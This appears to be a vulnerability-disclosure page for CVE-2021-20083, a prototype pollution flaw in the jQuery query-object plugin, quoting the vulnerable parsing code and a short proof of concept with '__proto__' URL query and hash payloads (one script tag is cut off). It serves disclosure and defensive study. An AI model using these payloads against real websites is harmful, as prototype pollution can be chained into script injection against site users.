BlackFan Add CVEs History

1 contributor

Executable File | 65 lines (53 sloc) | 2.27 KB

jQuery query-object plugin

URL: https://github.com/alrusdi/jquery-plugin-query-object

CVE

CVE-2021-20083

Vulnerable code fragment

https://github.com/alrusdi/jquery-plugin-query-object/blob/9e5871fbb531c5e246aac2aaf056b237bc7cc0a6/jquery.query-object.js

```
return new queryObject(location.search, location.hash);
...
queryObject.prototype = {
  queryObject: true,
  parseNew: function(){
    var self = this;
    self.keys = {};
    jQuery.each(arguments, function() {
      var q = "" + this;
      q = q.replace(/^[?#]/,''); // remove any leading ? || #
      q = q.replace(/[;&]$/,''); // remove any trailing & || ;
      if ($spaces) q = q.replace(/[+]/g,' '); // replace +'s with spaces

      jQuery.each(q.split(/[&;]/), function(){
        var key = decodeURIComponent(this.split('=')[0] || "");
        var val = decodeURIComponent(this.split('=')[1] || "");

        if (!key) return;

        if ($numbers) {
          if (/^[+-]?[0-9]+\.[0-9]*$/.test(val)) // simple float regex
            val = parseFloat(val);
          else if (/^[+-]?[1-9][0-9]*$/.test(val)) // simple int regex
            val = parseInt(val, 10);
        }

        val = (!val && val !== 0) ? true : val;

        self.SET(key, val);

...
  SET: function(key, val) {
    var value = !is(val) ? null : val;
    var parsed = parse(key), base = parsed[0], tokens = parsed[1];
    var target = this.keys[base];
    this.keys[base] = set(target, tokens.slice(0), value);
    return this;
...
var parse = function(path) {
  var m, rx = /\[([^[]*)\]/g, match = /^([^[]+)(\[.*\])?$/.exec(path), base = match[1], tokens = [];
  while (m = rx.exec(match[2])) tokens.push(m[1]);
  return [base, tokens];
```

PoC

```
<script src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script src="https://raw.githack.com/alrusdi/jquery-plugin-query-object/9e5871fbb531c5e246aac2aaf056b237bc7cc0a6/jquery.query-object.
```

```
?__proto__[test]=test
#__proto__[test]=test
```